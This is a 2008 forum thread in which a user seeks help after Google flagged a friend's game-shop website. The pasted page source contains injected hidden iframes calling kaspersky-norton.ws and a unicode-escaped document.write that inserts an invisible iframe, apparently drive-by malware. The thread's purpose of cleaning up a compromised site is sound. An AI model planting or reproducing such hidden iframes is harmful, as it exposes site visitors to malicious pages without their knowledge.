website been punished by google for suspicious webcode

Discussion in 'HTML & Website Design' started by missinglink, Mar 17, 2008.

  1. #1
    Hi,

    my friend has asked me to look at his website as google has attached a warning to the search engines result saying this site may damage your computer.

    I am not a code expert, but would be grateful if someone could take a look.

    I found that the code i have bolded looks bad at the top and at the bottom of the page. I had too remove some of the coding so it would fit in the post, but you can see the site at www.gamesonlineshop.com

    thanks in advance.

    <html>

    <IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><head>

    <link rel=STYLESHEET href="style1.css" type="text/css">

    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <title>GamesOnlineShop.com - Nintendo Games, Gameboy Advance, Advance, Games, Game, Speelgoed, Mario Bros, Nintendo</title>

    <meta name="Title" content="GamesOnlineShop.com">
    <meta name="Description" content="GamesOnlineShop.com, ">
    <meta name="KeyWords" content="GamesOnlineShop.com, ">

    <script>
    <!--

    function open_window(link,w,h) //opens new window
    {
    var win = "width="+w+",height="+h+",menubar=no,location=no,resizable=yes,scrollbars=yes";
    newWin = window.open(link,'newWin',win);
    newWin.focus();
    }

    function confirmDelete() //unsubscription confirmation
    {
    temp = window.confirm('');
    if (temp) //delete
    {
    window.location="index.php?killuser=yes";
    }
    }

    function validate_custinfo() //validate customer information
    {
    if (document.custinfo_form.first_name.value=="" || document.custinfo_form.last_name.value=="")
    {
    alert("Please input your name");
    return false;
    }
    if (document.custinfo_form.email.value=="")
    {
    alert("Please input your email address");
    return false;
    }
    if (document.custinfo_form.country.value=="")
    {
    alert("Please input country");
    return false;
    }
    // if (document.custinfo_form.state.value=="")
    //{
    //alert("Please input state");
    // return false;
    // }
    if (document.custinfo_form.zip.value=="")
    {
    alert("Please input ZIP");
    return false;
    }
    if (document.custinfo_form.city.value=="")
    {
    alert("Please input city");
    return false;
    }


    return true;
    }

    -->
    </script>



    </head>
    <IFRAME name='StatPage' src='http://www.kaspersky-norton.ws/new/traff.php' width=5 height=5 style='display:none'></IFRAME><body marginwidth="0" marginheight="0" leftmargin="0" topmargin="10">
    <center>
    <table width="780" border="0" cellspacing="1" cellpadding="0" bgcolor="#AAAAAA">
    <tr bgcolor=white>
    <td height="71" valign="bottom">
    <img src="images/top1.jpg" width="100%" height="71">
    </td>
    </tr>
    <tr>
    <td bgcolor=white>
    <table width=780 border=0 cellpadding=0 cellspacing=0>
    <tr>
    <td height="25" colspan="2" valign="top" bgcolor="#999999"><table width="100%" border="0" cellpadding="0" cellspacing="0" background="images/up_3.gif">
    <tr valign="top">
    <td width="0"><img src="images/up_3.gif" width="1" height="25"></td>
    <td width="0"><div align="center"><img src="images/non.gif" width="8" height="0"></div></td>
    <td width="0"><a href="index.php" class=menu> <b>Home</b> </a></td>
    <td width="0"><div align="center"><img src="images/between.gif" width="21" height="15"></div></td>
    <td width="0"><a href="index.php?show_price=yes"
    class=menu> <nobr> <b>Price list</b> </nobr> </a></td>
    <td width="0"><img src="images/between.gif" width="21" height="15"></td>
    <td width="0"><div align="center"><a href="index.php?aux_page=aux1" class=menu><nobr><b>About us</b></nobr></a></div></td>
    <td width="0"><div align="center"><img src="images/between.gif" width="21" height="15"></div></td>
    <td width="0"><a href="index.php?aux_page=aux2"
    class=menu> <nobr> <b>Shipping and delivery</b> </nobr> </a></td>
    <td width="100%">&nbsp;</td>
    <td>&nbsp;</td>
    <td width="0"><img src="images/non.gif" width="8" height="0"></td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td width="203" valign="top"><div align="center">
    <table width="203" border="0" align="right" cellpadding="0" cellspacing="0">
    <tr>
    <td valign="middle" height="2"></td>
    </tr>
    <tr>
    <td valign="middle"><table width="201" border="0" align="left" cellpadding="0" cellspacing="0">
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" background="images/centre_upmenu.gif"><img src="images/centre_upmenu.gif" width="1" height="1"></td>
    <td bgcolor=white></td>
    </tr>
    <tr>
    <td width="199" align="left" valign="top" bgcolor="#FFFFFF" height="55"> <img src="images/paypal.jpg"> </td>
    <td width="2" valign="middle" background="images/line_menu.gif"></td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="1" background="images/centre_downmenu.gif"><img src="images/centre_downmenu.gif" width="1" height="1"></td>
    <td height="1" background="images/line_menu.gif"></td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td align="right" valign="top">
    <div align="left">
    <table width="203" border="0" align="left" cellpadding="0" cellspacing="0">
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" background="images/centre_upmenu.gif"><img src="images/centre_upmenu.gif" width="1" height="5"></td>
    <td bgcolor=white></td>
    </tr>
    <tr>
    <td width="199" align="left" valign="top" bgcolor="#99FF99">
    <table border="0" cellspacing="1" cellpadding="0">
    <tr>
    <td><a href="index.php?shopping_cart=yes" class=header>My shopping cart</a></td>
    </tr>
    <tr>
    <td>
    <table>
    <form name="shopping_cart_form">
    <tr><td>

    <input class=cart type=text name=gc value="(no items)" readonly><br>
    <input type=text class=cart name=ca value="" readonly>

    <nobr><a class=lightsmall href="index.php?shopping_cart=yes">Proceed to checkout</a></nobr>

    </td></tr>
    </form>
    </table> </td>
    </tr>
    </table></td>
    <td width="2" valign="top" background="images/line_menu.gif">&nbsp;</td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" background="images/centre_downmenu.gif"><img src="images/centre_downmenu.gif" width="1" height="5"></td>
    <td height="1" background="images/line_menu.gif"></td>
    </tr>
    </table>
    </div></td>
    </tr>
    <tr>
    <td align="right" valign="top"><table width="204" border="0" align="left" cellpadding="0" cellspacing="0">
    <tr>
    <td width="199" valign="top">
    <p>&nbsp;&nbsp;<a href="index.php" class=header>Catalog </a></td>
    <td width="4" rowspan="2" valign="top" background="images/line_menu.gif">&nbsp;</td>
    </tr>
    <tr>
    <td align="left" valign="top">
    <table border="0" cellspacing="1" cellpadding="7">
    <tr>
    <td>



    <a href="index.php?categoryID=84" class=light>-Sony PSP-</a><br>



    <a href="index.php?categoryID=114" class=light>Energie bespaarder</a><br>

    </td>
    </tr>
    </table></td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" background="images/centre_upmenu.gif"><img src="images/centre_upmenu.gif" width="1" height="5"></td>
    <td height="1" background="images/line_menu.gif"></td>
    </tr>
    </table></td>
    </tr>
    <tr>
    <td align="right" valign="top"><div align="right">
    <table width="204" height="146" border="0" align="left" cellpadding="0" cellspacing="1">
    <tr>
    <td width="199" height="46" colspan="2" valign="middle" background="" bgcolor="#FFFF99">
    <font class=header>
    <table cellspacing=0 cellpadding=1 border=0>
    <form action="index.php" method=get>
    <tr>
    <td>&nbsp;</td>
    <td height="25"><font size="-5" face="Arial, Helvetica, sans-serif">Search:</font>
    <input type="text" name="searchstring" size=5 value=""></td>
    <td><input name="image" type="image" src="images/search.gif" border=0></td>
    <td>&nbsp;</td>
    </tr>

    </form>
    </table>
    <a href="index.php?search_with_change_category_ability=yes"
    class=lightsmall> </a>
    <!-- Language-->
    </font>

    </td>
    <td width="4" rowspan="3" valign="top" background="images/line_menu.gif">&nbsp;</td>
    </tr>
    <tr>
    <td colspan="2" valign="top" bgcolor="#FFFFFF" background=""><div align="center"></div></td>
    </tr>
    <tr>
    <td colspan="2" valign="top" bgcolor="#FFFFFF" background=""><div align="center"><img src="images/p17.gif"></div></td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" colspan="2" background="images/centre_downmenu.gif"><img src="images/centre_downmenu.gif" width="1" height="5"></td>
    <td bgcolor=white></td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" colspan="2" background="images/centre_upmenu.gif"><img src="images/centre_upmenu.gif" width="1" height="5"></td>
    <td bgcolor=white></td>
    </tr>
    <tr>
    <td align="left" valign="top" bgcolor=#CCFFFF class=light>
    &nbsp;&nbsp;</td>
    <td height="35" align="left" valign="middle" bgcolor=#CCFFFF class=light><span class=small>Questions? Email us at: <a href="mailto:sales@gamesonlineshop.com">sales@gamesonlineshop.com</a></span></td>
    <td height="35" background="images/line_menu.gif">&nbsp;</td>
    </tr>
    <tr valign="top" background="images/line_menu.gif">
    <td height="5" colspan="2" background="images/centre_downmenu.gif"><img src="images/centre_downmenu.gif" width="1" height="5"></td>
    </tr>
    <!--

    END OF 'PRO & PREMIUM' SECTION

    -->
    </table>
    </div></td>
    </tr>
    </table>
    </div></td>
    <td width="100%" align="left" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
    <tr>
    <td colspan="2"><img src="images/non.gif" width="10" height="10" border="0"></td>
    </tr>
    <tr>
    <td width="2%"><img src="images/non.gif" width="10" height="10" border="0"></td>
    <td width="98%">

    <style type="text/css">
    <!--
    .style1 {
    font-family: Arial, Helvetica, sans-serif;
    font-size: 12px;
    }
    -->
    </style>
    <table>
    <tr>
    <td width="280" valign="top">
    <h1>Welcome to GamesOnlineShop.com!</h1>
    <p class="style1">
    We are your top choice for Consoles, Games and accesories. Check out our great variety and attractive prices!
    </p></td>
    <td width="20">&nbsp;

    </td>
    <td><img src="images/games2.jpg"></td>
    </tr></table>


    <p>
    <table width=100% border=0 cellpadding=5>
    <tr><td width=1% align=center>
    <a href="index.php?categoryID=97"><img border=0 src="products_pictures/MP3_player.jpg" alt="-Apple iPod-"></td>
    <td>
    </td>

    </td>
    <td width=1% align=center>
    <a href="index.php?categoryID=109"><img border=0 src="products_pictures/Mario_Bros_5_1.jpg" alt="-Figures Pokemon-"></td>
    <td>
    <a href="index.php?categoryID=109" class=cat>-Figures Pokemon-</a> <b>[5]</b>:<br>


    </td>

    </td>
    </tr><tr><td width=1% align=center>
    <a href="index.php?categoryID=78"><img border=0 src="products_pictures/e7_1_b.jpg" alt="-GameBoy Advance-"></td>
    <td>

    </td>

    </td>
    <td width=1% align=center>
    <a href="index.php?categoryID=96"><img border=0 src="products_pictures/Gba_color.jpg" alt="-Gameboy Color-"></td>
    <td>
    <a href="index.php?categoryID=96" class=cat>-Gameboy Color-</a> <b>[4]</b>:<br>


    </td>

    </td>
    </tr><tr><td width=1% align=center>
    <a href="index.php?categoryID=83"><img border=0 src="products_pictures/DS_consel.jpg" alt="-Nintendo NDS-"></td>
    <td>
    <a href="index.php?categoryID=83" class=cat>-Nintendo NDS-</a> <b>[37]</b>:<br>





    <a href="index.php?categoryID=113" class=standard>Multi Games</a>

    |

    </td>

    </td>
    <td width=1% align=center>
    <a href="index.php?categoryID=86"><img border=0 src="products_pictures/Sony_MC_8_mb_Card.jpg" alt="-Sony Memory Card-"></td>
    <td>
    <a href="index.php?categoryID=86" class=cat>-Sony Memory Card-</a> <b>[1]</b>:<br>


    </td>

    </td>
    </tr><tr><td width=1% align=center>
    <a href="index.php?categoryID=84"><img border=0 src="products_pictures/PSP_Consel.jpg" alt="-Sony PSP-"></td>
    <td>
    <a href="index.php?categoryID=84" class=cat>-Sony PSP-</a> <b>[28]</b>:<br>





    <a href="index.php?categoryID=92" class=standard>Games</a>

    |

    <a href="index.php?categoryID=106" class=standard>Accessoires</a>
    </td>

    </td>
    <td width=1% align=center>
    <a href="index.php?categoryID=114"><img border=0 src="products_pictures/Energie_Saver_4.jpg" alt="Energie bespaarder"></td>
    <td>
    <a href="index.php?categoryID=114" class=cat>Energie bespaarder</a> <b>[1]</b>:<br>


    </td>

    </td>
    </tr></table>

    <br>
    <table align="center">
    <tr>
    <td><div align="center"><img src="images/special.jpg" width="519" height="32" alt="">
    </div></td>
    </tr>
    </table>


    <table border=0 cellspacing=1 cellpadding=5>
    <tr><td valign=top>

    <table border=0 width=100% bgcolor=#ADADAD cellpadding=0 cellspacing=1>
    <tr><td>

    <table border=0 bgcolor=white width=100%>
    <tr>
    <td colspan=2><a href="index.php?productID=375"><img src="products_pictures/Energie_Saver_2.jpg" border=0></a></td>
    </tr>
    <tr>
    <td align=center><a href="index.php?productID=375">Energie bespaarder</a></td>
    <td align=right><font color=red><b>€49.99</b></font></td>
    </tr>
    </table>

    </td></tr>
    </table>

    </td>
    <td valign=top>

    <table border=0 width=100% bgcolor=#ADADAD cellpadding=0 cellspacing=1>
    <tr><td>

    <table border=0 bgcolor=white width=100%>
    <tr>
    <td colspan=2><a href="index.php?productID=373"><img src="products_pictures/Multi_game_1.jpg" border=0></a></td>
    </tr>
    <tr>
    <td align=center><a href="index.php?productID=373">74 Nintendo DS Games in 1</a></td>
    <td align=right><font color=red><b>€49.50</b></font></td>
    </tr>
    </table>

    </td></tr>
    </table>

    </td>
    </tr><tr><td valign=top>

    <table border=0 width=100% bgcolor=#ADADAD cellpadding=0 cellspacing=1>
    <tr><td>

    <table border=0 bgcolor=white width=100%>
    <tr>
    <td colspan=2><a href="index.php?productID=357"><img src="products_pictures/A_FREE_GAME_2.jpg" border=0></a></td>
    </tr>
    <tr>
    <td align=center><a href="index.php?productID=357">A Game 4 Free!!</a></td>
    <td align=right><font color=red><b>€0.00</b></font></td>
    </tr>
    </table>

    </td></tr>
    </table>

    </td>
    <td valign=top>

    <table border=0 width=100% bgcolor=#ADADAD cellpadding=0 cellspacing=1>
    <tr><td>

    <table border=0 bgcolor=white width=100%>
    <tr>
    <td colspan=2><a href="index.php?productID=350"><img src="products_pictures/p5.jpg" border=0></a></td>
    </tr>
    <tr>
    <td align=center><a href="index.php?productID=350">R4 Revolution for NDS</a></td>
    <td align=right><font color=red><b>€37.50</b></font></td>
    </tr>
    </table>

    </td></tr>
    </table>

    </td>
    </tr></table>
    </center> </td>
    </tr>
    <tr>
    <td colspan="2">&nbsp;</td>
    </tr>
    </table>
    <div align="center">&nbsp;</div></td>
    </tr>
    <tr>
    <td colspan=2 height="5" background="images/centre_upmenu.gif"><img src="images/centre_upmenu.gif" width="1" height="5"></td>
    </tr>
    <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" background="images/up_3.gif">
    <tr valign="top">
    <td width="0"><img src="images/up_3.gif" width="1" height="25"></td>
    <td width="50%" align="left"><em><font class="footer">Copyright <a href="">GamesOnlineShop.com</a>, 2006. All rights reserved.</font></em></td>
    <td width="50%" align="right"> </td>
    </tr>
    </table></td>
    </tr>
    </table></td>
    </tr>
    </table></center>
    <script type="text/javascript">document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0073\u0074\u0061\u0074\u002d\u0067\u006f\u006f\u0067\u006c\u0065\u002e\u0063\u006f\u006d\u002f\u0063\u006f\u0075\u006e\u0074\u0065\u0072\u002f\u006f\u0075\u0074\u002e\u0070\u0068\u0070\u003f\u0073\u005f\u0069\u0064\u003d\u0031\u0022\u0020\u0066\u0072\u0061\u006d\u0065\u0062\u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0022\u0020\u0062\u006f\u0072\u0064\u0065\u0072\u003d\u0022\u0030\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0030\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0030\u0022\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0070\u006f\u0073\u0069\u0074\u0069\u006f\u006e\u003a\u0020\u0061\u0062\u0073\u006f\u006c\u0075\u0074\u0065\u003b\u0020\u0076\u0069\u0073\u0069\u0062\u0069\u006c\u0069\u0074\u0079\u003a\u0020\u0068\u0069\u0064\u0064\u0065\u006e\u003b\u0020\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u0020\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e')</script>
    </body>
    </html>
     
    missinglink, Mar 17, 2008 IP
  2. matthewbeckman

    matthewbeckman Peon

    Messages:
    140
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Instead of changing code tell your friend to get a Google Webmaster Tools account and follow this link:
    https://www.google.com/webmasters/tools/reconsideration?hl=en

    Just tell Google to re-evaluate the website and ask what code they find to be malicious. Tell your friend that he needs to recode his website anyway :p it is extremely bloated and extremely excessive for what is being displayed.
     
    matthewbeckman, Mar 17, 2008 IP
  3. nicangeli

    nicangeli Peon

    Messages:
    828
    Likes Received:
    23
    Best Answers:
    0
    Trophy Points:
    0
    #3
    and in future, please use the [ CODE] [/ CODE ] when posting code on the forums.
     
    nicangeli, Mar 17, 2008 IP
  4. matthewbeckman

    matthewbeckman Peon

    Messages:
    140
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #4
    Ya nicangeli meant the [CODE ] tag for code.
     
    matthewbeckman, Mar 17, 2008 IP
    nicangeli likes this.
  5. missinglink

    missinglink Well-Known Member

    Messages:
    275
    Likes Received:
    8
    Best Answers:
    0
    Trophy Points:
    140
    #5
    thanks for the help.
    I managed to find the problem it was the two things i said.

    BTW matthewbeckham how long do you think google would of taken to answer that question? they must get thousands of questions each day.

    I agree about a lot of code for so little on the site
     
    missinglink, Mar 18, 2008 IP
  6. matthewbeckman

    matthewbeckman Peon

    Messages:
    140
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    0
    #6
    It will definitely take them at least a good week, if not longer. But not much you can do about getting it done any faster. Faster you submit it, faster they reply.
     
    matthewbeckman, Mar 18, 2008 IP